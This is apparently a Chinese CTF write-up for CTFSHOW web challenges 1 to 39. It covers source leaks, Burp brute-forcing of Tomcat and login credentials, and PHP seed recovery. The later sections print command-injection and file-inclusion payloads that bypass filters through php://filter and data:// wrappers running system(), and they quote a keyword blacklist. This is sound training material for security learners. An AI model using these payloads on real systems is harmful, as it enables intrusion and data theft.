CTFSHOW Web Writeup
WEB1
开发注释未及时删除
WEB2
js前台拦截 === 无效操作
1 | <script type="text/javascript"> |
禁用 JS
WEB4
总有人把后台地址写入robots,帮黑阔大佬们引路。
WEB5
phps源码泄露有时候能帮上忙
脑洞题目,.phps 后缀扫目录扫不出来
WEB6
扫目录,扫出来 www.zip
WEB7-git泄露
版本控制很重要,但不要部署到生产环境更重要。
git 泄露工具:https://github.com/BugScanTeam/GitHack
WEB8-svn泄露
版本控制很重要,但不要部署到生产环境更重要。
svn 泄露工具:https://github.com/kost/dvcs-rippeLinuxr
WEB9-vim缓存泄露
vim 编辑器在使用过程中会留下 vim 编辑器缓存文件 filename.swp
,当 vim 异常退出时,缓存会一直留在服务器上,引起网站源码泄露
1 | vim -r index.php.swp |
WEB10
cookie 只是一块饼干,不能存放任何隐私数据
WEB11
域名其实也可以隐藏信息,比如ctfshow.com 就隐藏了一条信息
WEB12
有时候网站上的公开信息,就是管理员常用密码
社会工程学找密码、账号
WEB13
扫出 pdf 文档
WEB14
有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人
/editor 打开编辑器上传文件查看全盘文件路径
WEB15
页脚 qq 邮箱注册地址就是密保
WEB16
扫目录没扫到,猜的 tz.php ,访问 phpinfo 读取环境变量中的 flag
WEB17
题目环境被破坏了,原题不知道是不是有绕过CDN查源站 ip
WEB18-js游戏
js 小游戏,打断点然后到控制台将 score 设置大于 101
WEB19
原意应该是要进行 aes 换源出密码,因为秘钥都有,但直接给出后台判断源码,直接 burp 抓包替换密文
WEB20
access 数据库 /db/db.mdb 下载文件通过txt打开
WEB21
tomcat 登录爆破,实际上不需要知道是 tomcat 也能爆破。burp 抓一个登录包,Authorization 字段就是加密的账号密码,格式为:username:password
,然后进行 base64 加密
python 爆破难度不大,试下 burp 爆破,熟悉工具
payload模式
设置为自定义迭代器
payload结构
导入用户名
设置 tomcat 隔断
导入密码
payload编码
base64 编码
同时取消 payload 的 url 编码
成功爆破出账号密码
WEB22-子域名爆破
子域名爆破,flag 的二级域名字典应该都没有
WEB23
1 |
|
md5 爆破,这里选择 3 字符 md5 加密,其他长度也可以
1 | #encoding:utf-8 |
WEB24
固定随机种子随机数固定,需要在 ubuntu20 环境下生成随机数,mac 本地生成的不对,或者到在线网站生成:https://tool.lu/coderunner
1 |
|
WEB25-爆破随机数种子
根据第一个随机数逆向爆破出种子
使用工具:https://www.openwall.com/php_mt_seed/
1 |
|
WEB26
爆破登录密码,其他参数随便设置都可以,最后密码是7758521
第二种方法是看其他师傅 wp 的,传入参数全部为空,返回报文就会带上 flag ,原理要查看 checkdb.php
WEB27
登录之后下载学生信息,从 excel 获取确实生日的身份证号码,然后用姓名和身份证重置密码。
firefox 抓不到重置包,f12 查源码看到请求键值对是 a 和 p 构造 post 包到 checkdb.php
burp 爆破生日,请求报文:
1 | POST /info/checkdb.php HTTP/1.1 |
payload 参数设置:
登录之后就是 flag
WEB28
url 地址爆破
WEB29
主要是命令凭借和字符串拼接
?c=echo nl fla''g.php
;
构造命令执行
由函数执行的 eval 构造出命令执行,正则匹配了 system ,使用 passthru
1 | ?c=passthru($_POST[a]); |
绕过正则匹配
1 | ?c=echo`nl%09fla""*`; |
用 TAB (%09)代替空格
WEB32
1 | if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ |
比前面过滤更多,因为过滤了(
,所以 passthru 也没有办法使用,include 不需要括号可以绕过;过滤 ;
可以用 ?>
绕过;过滤
可以用 %09
绕过;
文件包含 php 伪协议 filter 读取 flag.php
filter 协议读取加密flag
1 | ?c=include%09$_POST["url"]?> |
post 内容:
1 | url=php://filter/read=convert.base64-encode/resource=flag.php |
data 协议命令执行
1 | ?c=include%09$_POST["url"]?> |
post 内容:
1 | url=data://text/plain,<?php%20system('nl flag.php');?> |
WEB33
比上一题多过滤了双引号,用数字变量绕过:?c=include%09$_POST[1]?>
1=data://text/plain,<?php%20system('nl flag.php');?>
WEB34
接下来几条题目都可以用 WEB33 payload 打,因为多增加的正则匹配都是针对 GET 请求参数,而伪协议 payload 放在 post 包里面,所以可以绕过
用上一条题目 payload 可以打通
WEB35
用上上一条题目 payload 可以打通
WEB36
将变量名改成字母?c=include%09$_POST[a]?>
a=data://text/plain,<?php%20system('nl flag.php');?>
WEB37
过滤 flag ,eval 函数执行换成了 include ,需要用伪协议控制,php://filter 需要完整的文件名没办法实现,用 data:// 构造命令执行读取
data协议
命令执行?c=data://text/plain,<?php%20system("nl fl''ag.php");?>
data协议+base64
命令执行?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
WEB38
多加过滤 php ,base64 data:// 协议就好了,和上一题 payload 一样
WEB39
这里用 data+base64 的话,base64字符串会被多加 .php 而解密失败么?
data协议
?c=data://text/plain,<?php%20system("nl fl''ag.php");?>